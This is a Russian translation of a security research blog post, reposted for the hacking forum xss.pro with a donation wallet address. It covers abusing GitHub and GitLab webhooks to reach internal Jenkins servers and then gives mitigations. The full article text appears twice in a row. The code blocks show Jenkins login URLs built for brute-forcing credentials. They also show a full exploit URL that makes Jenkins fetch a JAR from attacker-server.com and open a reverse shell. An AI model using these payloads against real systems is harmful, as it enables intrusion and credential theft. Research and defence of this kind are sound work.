ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 на SSD для Solidity hacking by Jolah Milovsky---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09
Огромное спасибо Ярону Авиталь, Тайлеру Велтону и Даниэлю Кривелевичу за их вклад в это исследование.
вступление
По мере того, как внедрение систем и процессов CI становится все более распространенным, организации выбирают архитектуру CI/CD, которая сочетает в себе системы управления исходным кодом на основе SaaS (такие как GitHub или GitLab) с внутренним решением CI на собственном хостинге (например, Jenkins, TeamCity). Многие организации, использующие такие архитектуры, позволяют этим системам непрерывной интеграции получать события веб-перехватчиков от поставщиков систем управления версиями SaaS с простой целью запуска конвейерных заданий.
Чтобы разрешить запросам веб-перехватчиков доступ к внутренней системе CI, поставщики SCM на основе SaaS предоставляют диапазоны IP-адресов, с которых поступают их запросы веб-перехватчиков, поэтому эти диапазоны могут быть разрешены в брандмауэре организации.
Почему вебхуки SCM интересны злоумышленникам
Диапазон IP-адресов службы веб-перехватчиков SaaS SCM, о которой мы упоминали ранее, используется всеми организациями, использующими SCM. Любое событие веб-перехватчика, отправленное из SCM, независимо от арендатора, будет иметь исходный IP-адрес в этом диапазоне. С точки зрения злоумышленника, это создает путь, который позволяет успешно отправлять пакеты через любой брандмауэр, разрешающий этот диапазон IP-адресов, используя события веб-перехватчика. Давайте проанализируем возможности, которые могут быть у злоумышленника при попытке злоупотребления событиями веб-перехватчика для отправки вредоносных полезных данных
Структура и содержание событий веб-перехватчиков SCM являются строгими. Каждое событие отправляется как запрос HTTP POST с предопределенными заголовками и структурированным JSON в теле запроса. Пользователи имеют очень ограниченную гибкость в изменении содержимого события веб-перехватчика, поскольку они могут только задавать URL-адрес цели события, изменять определенные безопасные заголовки и управлять некоторыми значениями поля JSON без изменения его структуры. Ограниченная гибкость изменения содержимого события веб-перехватчика не дает злоумышленникам слишком много возможностей; Один из известных сценариев атаки — запуск конвейеров CI из Интернета путем отправки запроса от иностранной организации SCM. Этот тип атаки можно легко смягчить, поскольку конфигурация конвейера обычно привязана к определенному репозиторию и организации SCM. Если нет, к веб-перехватчику можно прикрепить секрет и проверить его при выполнении конвейера.
Видя, что любой злоумышленник, пытающийся манипулировать событиями веб-перехватчика, сталкивается с несколькими ограничениями, в том числе:
Большинство организаций чувствуют себя комфортно, позволяя своим внутренним системам CI получать события веб-перехватчиков от поставщиков SaaS SCM.
Однако опытный противник может обойти эти ограничения. Давайте разберемся как.
Доступ к конечным точкам CI
Как упоминалось выше, первая проблема, которая приходит на ум в связи со злоупотреблением веб-перехватчиками, — это потенциальная попытка злоумышленника активировать конвейеры — проблема, которая также имеет множество контрмер, предоставляемых поставщиками SCM и CI. Но почему злоумышленники должны ограничиваться только запуском конвейеров (которые в любом случае не уязвимы для большинства организаций)?
Хотя диапазон IP-адресов службы веб-перехватчиков поставщика SCM был открыт в брандмауэре организации, чтобы позволить запросам веб-перехватчиков запускать конвейеры, это не означает, что запросы веб-перехватчиков не могут быть направлены на другие конечные точки CI, помимо тех, которые регулярно прослушивают события веб-перехватчиков. Мы можем попытаться получить доступ к этим конечным точкам для просмотра ценных данных, таких как пользователи, конвейеры, консольный вывод заданий конвейера, или, если нам посчастливится попасть на экземпляр, который предоставляет права администратора неаутентифицированным пользователям (да, это случается), мы можем получить доступ к разделам конфигурации и учетных данных.
В Jenkins к вышеупомянутым конечным точкам можно получить доступ с помощью метода HTTP GET для получения данных или POST для добавления или изменения ресурсов.
GET: для нас это проблема, поскольку веб-перехватчики позволяют нам отправлять только запросы POST. облом.
POST: мы можем отправлять запросы POST с помощью веб-перехватчиков, но мы сталкиваемся с двумя другими проблемами: 1. мы не можем контролировать тело запроса и 2. по умолчанию Jenkins требует добавления токена CSRF к запросам POST, чего мы не делаем. т есть.
Итак, мы застряли?
Нет GET-запросов
Не могу контролировать тело POST-запроса
У нас нет токенов CSRF
Хотя мы сталкиваемся с тремя блокировщиками, давайте поищем способ обойти их, начиная со страницы входа. Мы можем попытаться взломать учетные данные пользователя, так как довольно часто можно увидеть пользователей Jenkins, управляемых в своей собственной базе данных пользователей, или использовать другие методы управления пользователями, в которых отсутствуют базовые средства защиты, такие как политика паролей или средства защиты от автоматизации. Для входа требуется отправить POST-запрос. Выбор целевой конечной точки входа решает проблему хранения токенов CSRF, поскольку этот конкретный запрос не требует этого. Но мы по-прежнему сталкиваемся с другой проблемой, поскольку наши возможности по изменению тела запроса остаются ограниченными.
Запрос на вход в Jenkins выглядит следующим образом:
Нам нужно как-то отправить учетные данные, которые мы перебираем.
К счастью, конечная точка входа Jenkins принимает запрос POST с полями, отправленными в качестве параметров запроса:
Итак, как мы можем заставить его работать? Мы можем создать новый веб-перехватчик в GitHub, установив URL-адрес запроса на вход Jenkins в качестве URL-адреса полезной нагрузки. Затем мы можем создать автоматизацию, используя GitHub API, чтобы подобрать пароль учетной записи пользователя, изменив поле пароля, активировав веб-перехватчик и проверив ответ в журнале событий репозитория веб-перехватчика.
Мы запускаем вебхук и видим результаты. Все поставщики SCM отображают HTTP-запрос и ответ, отправленные через веб-перехватчик, в своем пользовательском интерфейсе.
Если попытка входа не удалась, мы перенаправляемся на страницу ошибки входа.
Но если вход в систему выполнен успешно, мы перенаправляемся на главную страницу Jenkins, и устанавливается файл cookie сеанса 1 .
Итак, мы можем подобрать учетные данные Jenkins и получить файл cookie сеанса!
Тем не менее, мы немного ограничены — мы можем каждый раз отправлять только один запрос без сохранения состояния, и cookie не может быть прикреплен к нашему запросу, так как мы не можем контролировать заголовки. Но, может быть, мы можем сделать что-то еще?
Другой вариант — попытаться получить токен доступа Jenkins, который можно прикрепить к URL-адресу и использовать для отправки POST-запросов в Jenkins без необходимости добавления токена CSRF. Этот вариант немного сложнее, так как он требует от злоумышленника каким-то образом найти как самостоятельный ЭК, доступный только из диапазонов IP-адресов SCM, так и получить действительный токен доступа к этому ЭК. Так что пока мы сосредоточимся на более практических сценариях.
GitLab спешит на помощь
Попробуем отправить тот же запрос, но на этот раз через GitLab. Как и в GitHub, у нас по-прежнему очень ограниченный контроль над содержимым полезной нагрузки, отправляемой в событии веб-перехватчика, поэтому мы отправляем точно такой же запрос POST, добавляя учетные данные в качестве параметров запроса.
Запускаем запрос, но в отличие от GitHub — ответ 200.
Как и в последнем примере, мы использовали службу веб-перехватчиков GitLab для грубой силы пользователя и получения файла cookie сеанса, но на этот раз содержимое ответа от Jenkins было передано обратно в пользовательский интерфейс GitLab, по сути предоставив нам полное содержимое главная страница Дженкинса:
Так что же здесь произошло? Когда веб-перехватчик, отправленный из GitLab, получает код ответа 302, GitLab автоматически выполняет перенаправление. Поскольку за перенаправлением 302 следуют запросы GET, мы можем использовать GitLab, чтобы обойти вышеупомянутое ограничение запросов POST и отправлять запросы GET целевым объектам из службы веб-перехватчиков GitLab, чего мы не могли сделать с GitHub. И лучшая часть? Следующее событие отправляется с файлами cookie, установленными в первом ответе. Как видите, полученный нами ответ содержит внутренние данные Jenkins, такие как конвейеры и статус их выполнения.
ХОРОШО,
Это означает, что мы можем:
1. .Установите веб-перехватчик со следующим URL-адресом:
Запрос POST отправляется Jenkins, и аутентификация проходит успешно.
Здесь важно упомянуть, что Jenkins можно настроить либо для разрешения доступа к внутренним компонентам без проверки подлинности, либо таким образом, чтобы только пользователи, прошедшие проверку подлинности, могли получить доступ к внутренним компонентам. Как это влияет на нас?
Не всегда возможно получить токен доступа или пароль, или очень повезло найти экземпляр, разрешающий анонимный доступ. Но это не значит, что у нас нет вариантов.
Жертва собственной популярности, Jenkins постоянно преследуется хакерами в поисках новых уязвимостей . Вся система представляет собой экосистему плагинов, каждый из которых создан разными сопровождающими, причем один уязвимый плагин может повлиять на всю систему. Поскольку Jenkins используется для важных операций — сборки, тестирования и развертывания в производственных системах — исправление и обновление уязвимых версий ядра и подключаемых модулей откладывается во многих организациях. Как и любое обновление программного обеспечения, оно может повлиять на стабильность системы и во многих случаях требует сделать его недоступным на время проведения технического обслуживания. Поэтому часто можно увидеть неисправленные и устаревшие плагины Jenkins (или основные версии Jenkins) в активных производственных установках Jenkins. Кроме того, тот факт, что Дженкинс, как правило, находится внутри периметра, создает ложное чувство безопасности, из-за чего безопасность Дженкинса ставится еще ниже по сравнению с другими задачами безопасности. Но, как мы только что видели, иногда организации могут думать, что их экземпляр не подключен к Интернету, хотя на самом деле это так. Возникает вопрос: как далеко может зайти злоумышленник, нанося вред Дженкинсу с помощью простого запроса веб-перехватчика? В 2019 году компания Orange Tsai обнаружила в Jenkins уязвимость , которая позволяла выполнить код, отправив один неаутентифицированный запрос. Не углубляясь в детали этой атаки, скажем, что Дженкинс загружает JAR-файл из удаленного места, что приводит к выполнению кода на экземпляре.
Что мы собираемся сделать, так это настроить вредоносный веб-перехватчик для использования уязвимого экземпляра Jenkins, который не доступен из Интернета, поскольку он расположен за брандмауэром, чтобы установить обратную оболочку на этом экземпляре. Полезная нагрузка эксплойта отправляется в виде запроса GET и требует от злоумышленника следующих действий:
Посмотрите видео, чтобы увидеть полный путь атаки:
Итак, теперь, когда мы знаем, что даже к внутренним экземплярам Jenkins можно получить доступ из Интернета через веб-перехватчики SCM, и что можно получить полный контроль над экземпляром Jenkins с помощью одного события веб-перехватчика, пришло время посмотреть, сколько экземпляров Jenkins восприимчиво к такой вектор атаки.
Мы просканировали небольшую часть Интернета с целью обнаружения экземпляров Jenkins, которые недоступны из общедоступного Интернета, но доступны через службу веб-перехватчиков GitLab. Мы выбрали GitLab, несмотря на то, что он не так распространен, как другие поставщики (например, GitHub), поскольку, как подробно описано выше, он обеспечивает большую гибкость для злоупотребления экземпляром.
Наш процесс открытия был следующим:
Из этого списка мы нашли 115 экземпляров Jenkins, которые были доступны через службу веб-перехватчиков GitLab. По понятным причинам мы не пытались предпринимать какие-либо действия против них, но все вышеупомянутые методы извлечения информации или выполнения кода потенциально применимы для этих экземпляров.
Мы предполагаем, что можно идентифицировать как минимум сотни дополнительных экземпляров Jenkins с помощью службы веб-перехватчиков GitLab и гораздо больше с помощью более популярных поставщиков. И это только Jenkins — существует множество других независимых поставщиков CI и других типов систем, которые доступны из этих служб веб-перехватчиков (например, реестры артефактов), и потенциально могут быть доступны и злоупотреблены.
Защита окружаения
Защиту вашей среды от вредоносных веб-перехватчиков можно выполнять различными способами и на разных уровнях, а решение можно настроить в соответствии с потребностями организации.
Герметичным решением может быть запрет входящего трафика из диапазона IP-адресов веб-перехватчиков SCM и прекращение получения событий веб-перехватчиков непосредственно от SCM. Его можно заменить периодическим опросом изменений CI или внедрением прокси-сервера между SCM и CI. Однако оба эти метода могут быть дорогими в настройке и не соответствовать техническим требованиям.
Если вы хотите продолжать получать веб-перехватчики напрямую из SCM:
Системы CI являются одними из самых важных и конфиденциальных активов в организации, учитывая данные, которые они хранят, и рабочие нагрузки, которые они выполняют. Учитывая это, организации принимают многочисленные меры для защиты и ограничения доступа к самостоятельным системам CI, при этом ограничение IP-адресов служб веб-перехватчиков SaaS SCM является одной из этих мер. Однако, как мы продемонстрировали в этом блоге, эта мера создает ложное ощущение безопасности, поскольку любой злоумышленник из Интернета может использовать инфраструктуру веб-перехватчиков SCM для отправки трафика во внутренние системы CI и выполнения злонамеренных действий, которые варьируются от получения действительных учетных данных CI до запуска эксплойтов и полной компрометация КИ. Существует множество средств контроля, которые могут ограничить, а в некоторых случаях и смягчить эту угрозу, и мы надеемся, что этот блог поможет пролить свет как на потенциальный риск, так и на соответствующие контрмеры.
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 на SSD для Solidity hacking by Jolah Milovsky---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09
Огромное спасибо Ярону Авиталь, Тайлеру Велтону и Даниэлю Кривелевичу за их вклад в это исследование.
вступление
По мере того, как внедрение систем и процессов CI становится все более распространенным, организации выбирают архитектуру CI/CD, которая сочетает в себе системы управления исходным кодом на основе SaaS (такие как GitHub или GitLab) с внутренним решением CI на собственном хостинге (например, Jenkins, TeamCity). Многие организации, использующие такие архитектуры, позволяют этим системам непрерывной интеграции получать события веб-перехватчиков от поставщиков систем управления версиями SaaS с простой целью запуска конвейерных заданий.
Чтобы разрешить запросам веб-перехватчиков доступ к внутренней системе CI, поставщики SCM на основе SaaS предоставляют диапазоны IP-адресов, с которых поступают их запросы веб-перехватчиков, поэтому эти диапазоны могут быть разрешены в брандмауэре организации.
Почему вебхуки SCM интересны злоумышленникам
Диапазон IP-адресов службы веб-перехватчиков SaaS SCM, о которой мы упоминали ранее, используется всеми организациями, использующими SCM. Любое событие веб-перехватчика, отправленное из SCM, независимо от арендатора, будет иметь исходный IP-адрес в этом диапазоне. С точки зрения злоумышленника, это создает путь, который позволяет успешно отправлять пакеты через любой брандмауэр, разрешающий этот диапазон IP-адресов, используя события веб-перехватчика. Давайте проанализируем возможности, которые могут быть у злоумышленника при попытке злоупотребления событиями веб-перехватчика для отправки вредоносных полезных данных
Структура и содержание событий веб-перехватчиков SCM являются строгими. Каждое событие отправляется как запрос HTTP POST с предопределенными заголовками и структурированным JSON в теле запроса. Пользователи имеют очень ограниченную гибкость в изменении содержимого события веб-перехватчика, поскольку они могут только задавать URL-адрес цели события, изменять определенные безопасные заголовки и управлять некоторыми значениями поля JSON без изменения его структуры. Ограниченная гибкость изменения содержимого события веб-перехватчика не дает злоумышленникам слишком много возможностей; Один из известных сценариев атаки — запуск конвейеров CI из Интернета путем отправки запроса от иностранной организации SCM. Этот тип атаки можно легко смягчить, поскольку конфигурация конвейера обычно привязана к определенному репозиторию и организации SCM. Если нет, к веб-перехватчику можно прикрепить секрет и проверить его при выполнении конвейера.
Видя, что любой злоумышленник, пытающийся манипулировать событиями веб-перехватчика, сталкивается с несколькими ограничениями, в том числе:
- Минимальный контроль над содержанием и структурой мероприятия
- Выделенные диапазоны IP-адресов, используемые исключительно (или почти исключительно) службой веб-перехватчиков SCM (по крайней мере, в GitHub и GitLab )
- Защиты в трубопроводных системах вокруг триггеров трубопроводов
Большинство организаций чувствуют себя комфортно, позволяя своим внутренним системам CI получать события веб-перехватчиков от поставщиков SaaS SCM.
Однако опытный противник может обойти эти ограничения. Давайте разберемся как.
Доступ к конечным точкам CI
Как упоминалось выше, первая проблема, которая приходит на ум в связи со злоупотреблением веб-перехватчиками, — это потенциальная попытка злоумышленника активировать конвейеры — проблема, которая также имеет множество контрмер, предоставляемых поставщиками SCM и CI. Но почему злоумышленники должны ограничиваться только запуском конвейеров (которые в любом случае не уязвимы для большинства организаций)?
Хотя диапазон IP-адресов службы веб-перехватчиков поставщика SCM был открыт в брандмауэре организации, чтобы позволить запросам веб-перехватчиков запускать конвейеры, это не означает, что запросы веб-перехватчиков не могут быть направлены на другие конечные точки CI, помимо тех, которые регулярно прослушивают события веб-перехватчиков. Мы можем попытаться получить доступ к этим конечным точкам для просмотра ценных данных, таких как пользователи, конвейеры, консольный вывод заданий конвейера, или, если нам посчастливится попасть на экземпляр, который предоставляет права администратора неаутентифицированным пользователям (да, это случается), мы можем получить доступ к разделам конфигурации и учетных данных.
В Jenkins к вышеупомянутым конечным точкам можно получить доступ с помощью метода HTTP GET для получения данных или POST для добавления или изменения ресурсов.
GET: для нас это проблема, поскольку веб-перехватчики позволяют нам отправлять только запросы POST. облом.
POST: мы можем отправлять запросы POST с помощью веб-перехватчиков, но мы сталкиваемся с двумя другими проблемами: 1. мы не можем контролировать тело запроса и 2. по умолчанию Jenkins требует добавления токена CSRF к запросам POST, чего мы не делаем. т есть.
Итак, мы застряли?
Нет GET-запросов
Не могу контролировать тело POST-запроса
У нас нет токенов CSRF
Злоупотребление входом в Jenkins
Хотя мы сталкиваемся с тремя блокировщиками, давайте поищем способ обойти их, начиная со страницы входа. Мы можем попытаться взломать учетные данные пользователя, так как довольно часто можно увидеть пользователей Jenkins, управляемых в своей собственной базе данных пользователей, или использовать другие методы управления пользователями, в которых отсутствуют базовые средства защиты, такие как политика паролей или средства защиты от автоматизации. Для входа требуется отправить POST-запрос. Выбор целевой конечной точки входа решает проблему хранения токенов CSRF, поскольку этот конкретный запрос не требует этого. Но мы по-прежнему сталкиваемся с другой проблемой, поскольку наши возможности по изменению тела запроса остаются ограниченными.
Запрос на вход в Jenkins выглядит следующим образом:
Код:
POST /j_acegi_security_check HTTP/1.1
Host: jenkins.example-domain.com
[...]
j_username=admin&j_password=mypass123&from=%2F&Submit=Sign+inНам нужно как-то отправить учетные данные, которые мы перебираем.
К счастью, конечная точка входа Jenkins принимает запрос POST с полями, отправленными в качестве параметров запроса:
Код:
POST /j_acegi_security_check?j_username=admin&j_password=mypass123&from=%2F&Submit=Sign+in HTTP/1.1
Host: jenkins.example-domain.com
[...]
[webhook json in body of request]Итак, как мы можем заставить его работать? Мы можем создать новый веб-перехватчик в GitHub, установив URL-адрес запроса на вход Jenkins в качестве URL-адреса полезной нагрузки. Затем мы можем создать автоматизацию, используя GitHub API, чтобы подобрать пароль учетной записи пользователя, изменив поле пароля, активировав веб-перехватчик и проверив ответ в журнале событий репозитория веб-перехватчика.
Код:
http://jenkins.example-domain.com/j_acegi_security_check?j_username=admin&j_password=therealpassword&from=%2F&Submit=Sign+inМы запускаем вебхук и видим результаты. Все поставщики SCM отображают HTTP-запрос и ответ, отправленные через веб-перехватчик, в своем пользовательском интерфейсе.
Если попытка входа не удалась, мы перенаправляемся на страницу ошибки входа.
Но если вход в систему выполнен успешно, мы перенаправляемся на главную страницу Jenkins, и устанавливается файл cookie сеанса 1 .
Итак, мы можем подобрать учетные данные Jenkins и получить файл cookie сеанса!
Тем не менее, мы немного ограничены — мы можем каждый раз отправлять только один запрос без сохранения состояния, и cookie не может быть прикреплен к нашему запросу, так как мы не можем контролировать заголовки. Но, может быть, мы можем сделать что-то еще?
Другой вариант — попытаться получить токен доступа Jenkins, который можно прикрепить к URL-адресу и использовать для отправки POST-запросов в Jenkins без необходимости добавления токена CSRF. Этот вариант немного сложнее, так как он требует от злоумышленника каким-то образом найти как самостоятельный ЭК, доступный только из диапазонов IP-адресов SCM, так и получить действительный токен доступа к этому ЭК. Так что пока мы сосредоточимся на более практических сценариях.
GitLab спешит на помощь
Попробуем отправить тот же запрос, но на этот раз через GitLab. Как и в GitHub, у нас по-прежнему очень ограниченный контроль над содержимым полезной нагрузки, отправляемой в событии веб-перехватчика, поэтому мы отправляем точно такой же запрос POST, добавляя учетные данные в качестве параметров запроса.
Запускаем запрос, но в отличие от GitHub — ответ 200.
Как и в последнем примере, мы использовали службу веб-перехватчиков GitLab для грубой силы пользователя и получения файла cookie сеанса, но на этот раз содержимое ответа от Jenkins было передано обратно в пользовательский интерфейс GitLab, по сути предоставив нам полное содержимое главная страница Дженкинса:
Так что же здесь произошло? Когда веб-перехватчик, отправленный из GitLab, получает код ответа 302, GitLab автоматически выполняет перенаправление. Поскольку за перенаправлением 302 следуют запросы GET, мы можем использовать GitLab, чтобы обойти вышеупомянутое ограничение запросов POST и отправлять запросы GET целевым объектам из службы веб-перехватчиков GitLab, чего мы не могли сделать с GitHub. И лучшая часть? Следующее событие отправляется с файлами cookie, установленными в первом ответе. Как видите, полученный нами ответ содержит внутренние данные Jenkins, такие как конвейеры и статус их выполнения.
ХОРОШО,
Это означает, что мы можем:
- перебор пользователей и обнаружение действительных учетных данных,
- используйте действительные учетные данные на странице входа для успешного входа в систему,
- получить содержимое внутренней главной страницы Jenkins.
1. .Установите веб-перехватчик со следующим URL-адресом:
Код:
http://jenkins.example-domain.com/j_acegi_security_check?j_username=admin&j_password=secretpass123&from=/job/prod_pipeline/1/consoleText&Submit=Sign+inЗапрос POST отправляется Jenkins, и аутентификация проходит успешно.
- Мы получаем ответ перенаправления 302 с файлом cookie сеанса и перенаправлением на страницу вывода консоли заданий.
- Служба веб-перехватчиков GitLab автоматически следует за перенаправлением с запросом GET, отправленным на страницу вывода консоли задания, вместе с файлом cookie сеанса, который добавляется к запросу:
Код:
http://jenkins.example-domain.com/job/prod_pipeline/1/consoleText
Здесь важно упомянуть, что Jenkins можно настроить либо для разрешения доступа к внутренним компонентам без проверки подлинности, либо таким образом, чтобы только пользователи, прошедшие проверку подлинности, могли получить доступ к внутренним компонентам. Как это влияет на нас?
- Если аутентификация не настроена, мы можем сделать так, чтобы служба веб-перехватчиков GitLab обращалась к любой внутренней странице в CI, собирала ответ и представляла его нам.
- Если аутентификация настроена, мы можем попытаться провести перебор пользователя, а затем использовать учетные данные для доступа к любой внутренней странице (как в пуле выше).
Не всегда возможно получить токен доступа или пароль, или очень повезло найти экземпляр, разрешающий анонимный доступ. Но это не значит, что у нас нет вариантов.
Жертва собственной популярности, Jenkins постоянно преследуется хакерами в поисках новых уязвимостей . Вся система представляет собой экосистему плагинов, каждый из которых создан разными сопровождающими, причем один уязвимый плагин может повлиять на всю систему. Поскольку Jenkins используется для важных операций — сборки, тестирования и развертывания в производственных системах — исправление и обновление уязвимых версий ядра и подключаемых модулей откладывается во многих организациях. Как и любое обновление программного обеспечения, оно может повлиять на стабильность системы и во многих случаях требует сделать его недоступным на время проведения технического обслуживания. Поэтому часто можно увидеть неисправленные и устаревшие плагины Jenkins (или основные версии Jenkins) в активных производственных установках Jenkins. Кроме того, тот факт, что Дженкинс, как правило, находится внутри периметра, создает ложное чувство безопасности, из-за чего безопасность Дженкинса ставится еще ниже по сравнению с другими задачами безопасности. Но, как мы только что видели, иногда организации могут думать, что их экземпляр не подключен к Интернету, хотя на самом деле это так. Возникает вопрос: как далеко может зайти злоумышленник, нанося вред Дженкинсу с помощью простого запроса веб-перехватчика? В 2019 году компания Orange Tsai обнаружила в Jenkins уязвимость , которая позволяла выполнить код, отправив один неаутентифицированный запрос. Не углубляясь в детали этой атаки, скажем, что Дженкинс загружает JAR-файл из удаленного места, что приводит к выполнению кода на экземпляре.
Что мы собираемся сделать, так это настроить вредоносный веб-перехватчик для использования уязвимого экземпляра Jenkins, который не доступен из Интернета, поскольку он расположен за брандмауэром, чтобы установить обратную оболочку на этом экземпляре. Полезная нагрузка эксплойта отправляется в виде запроса GET и требует от злоумышленника следующих действий:
- Установите сервер, который будет:
- Получите запрос POST с параметром перенаправления и ответьте перенаправлением 302.
- Разместите вредоносный файл jar, который извлекается экземпляром Jenkins.
- Слушайте трафик, поступающий из обратной оболочки, которую мы будем запускать на экземпляре Jenkins.
- Создайте веб-перехватчик в проекте GitLab и установите его URL-адрес в качестве сервера злоумышленника с параметром перенаправления, содержащим полезную нагрузку:
Код:
http://attacker-server.com/redirect?redirect_url=http://jenkins.example-domain.com/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=%20@GrabConfig(disableChecksums=true)%0a%20@GrabResolver(name=%27cidersec%27,%20root=%27http://attacker-server.com/%27)%0a%20@Grab(group=%27cidersec%27,%20module=%27poc1%27,%20version=%271%27)%0a%20import%20cidersec;- Запустите веб-перехватчик, чтобы отправить событие.
- Событие webhook поступает на сервер злоумышленника, который отвечает перенаправлением 302 на экземпляр Jenkins вместе с полезной нагрузкой.
- Веб-перехватчик GitLab следует за перенаправлением с запросом GET, содержащим полезную нагрузку, которая отправляется экземпляру Jenkins.
- Начинается процесс эксплуатации: экземпляр Jenkins загружает jar-файл с сервера злоумышленника, который запускает обратную оболочку на экземпляре, позволяя злоумышленнику удаленно выполнять команды.
Посмотрите видео, чтобы увидеть полный путь атаки:
Доступ к внутренним экземплярам Jenkins в масштабе
Итак, теперь, когда мы знаем, что даже к внутренним экземплярам Jenkins можно получить доступ из Интернета через веб-перехватчики SCM, и что можно получить полный контроль над экземпляром Jenkins с помощью одного события веб-перехватчика, пришло время посмотреть, сколько экземпляров Jenkins восприимчиво к такой вектор атаки.
Мы просканировали небольшую часть Интернета с целью обнаружения экземпляров Jenkins, которые недоступны из общедоступного Интернета, но доступны через службу веб-перехватчиков GitLab. Мы выбрали GitLab, несмотря на то, что он не так распространен, как другие поставщики (например, GitHub), поскольку, как подробно описано выше, он обеспечивает большую гибкость для злоупотребления экземпляром.
Наш процесс открытия был следующим:
- Используйте пассивные службы DNS для обнаружения потенциальных поддоменов Jenkins. Мы использовали набор из 900 000 записей. По понятным причинам многие из них недействительны — поскольку это ненастоящие записи или за ними не стоит Дженкинс (или какой-либо другой сервис).
- Мы проверили, какие из этих адресов могут быть разрешены, и отфильтровали неактивные поддомены.
- Мы обращались ко всем поддоменам со стандартного IP-адреса через HTTP
, а те, которые были недоступны .
[*]Мы отправили запрос на каждый из оставшихся 800 000 субдоменов через сервис веб-хуков GitLab. Можно с уверенностью предположить, что подавляющее большинство этих поддоменов не были экземплярами Jenkins.
Из этого списка мы нашли 115 экземпляров Jenkins, которые были доступны через службу веб-перехватчиков GitLab. По понятным причинам мы не пытались предпринимать какие-либо действия против них, но все вышеупомянутые методы извлечения информации или выполнения кода потенциально применимы для этих экземпляров.
Мы предполагаем, что можно идентифицировать как минимум сотни дополнительных экземпляров Jenkins с помощью службы веб-перехватчиков GitLab и гораздо больше с помощью более популярных поставщиков. И это только Jenkins — существует множество других независимых поставщиков CI и других типов систем, которые доступны из этих служб веб-перехватчиков (например, реестры артефактов), и потенциально могут быть доступны и злоупотреблены.
Защита окружаения
Защиту вашей среды от вредоносных веб-перехватчиков можно выполнять различными способами и на разных уровнях, а решение можно настроить в соответствии с потребностями организации.
Герметичным решением может быть запрет входящего трафика из диапазона IP-адресов веб-перехватчиков SCM и прекращение получения событий веб-перехватчиков непосредственно от SCM. Его можно заменить периодическим опросом изменений CI или внедрением прокси-сервера между SCM и CI. Однако оба эти метода могут быть дорогими в настройке и не соответствовать техническим требованиям.
Если вы хотите продолжать получать веб-перехватчики напрямую из SCM:
- Разрешить только входящему трафику достигать ЭК, а не какой-либо дополнительной внутренней службе, и, если возможно, разрешить ему достигать только определенных конечных точек ЭК.
- Внедрите безопасный механизм аутентификации в CI, который обеспечивает элементы управления безопасностью, соответствующие передовым отраслевым практикам, например, интеграцию с решением SSO организации.
- Обновите свою систему CI и установленные в ней плагины до последней доступной версии.
- Отключите анонимный доступ в CI.
- Убедитесь, что журнал аудита в целевой системе включен и что все соответствующие журналы отправляются в SIEM или альтернативное решение для агрегирования журналов для выявления вредоносных действий.
Системы CI являются одними из самых важных и конфиденциальных активов в организации, учитывая данные, которые они хранят, и рабочие нагрузки, которые они выполняют. Учитывая это, организации принимают многочисленные меры для защиты и ограничения доступа к самостоятельным системам CI, при этом ограничение IP-адресов служб веб-перехватчиков SaaS SCM является одной из этих мер. Однако, как мы продемонстрировали в этом блоге, эта мера создает ложное ощущение безопасности, поскольку любой злоумышленник из Интернета может использовать инфраструктуру веб-перехватчиков SCM для отправки трафика во внутренние системы CI и выполнения злонамеренных действий, которые варьируются от получения действительных учетных данных CI до запуска эксплойтов и полной компрометация КИ. Существует множество средств контроля, которые могут ограничить, а в некоторых случаях и смягчить эту угрозу, и мы надеемся, что этот блог поможет пролить свет как на потенциальный риск, так и на соответствующие контрмеры.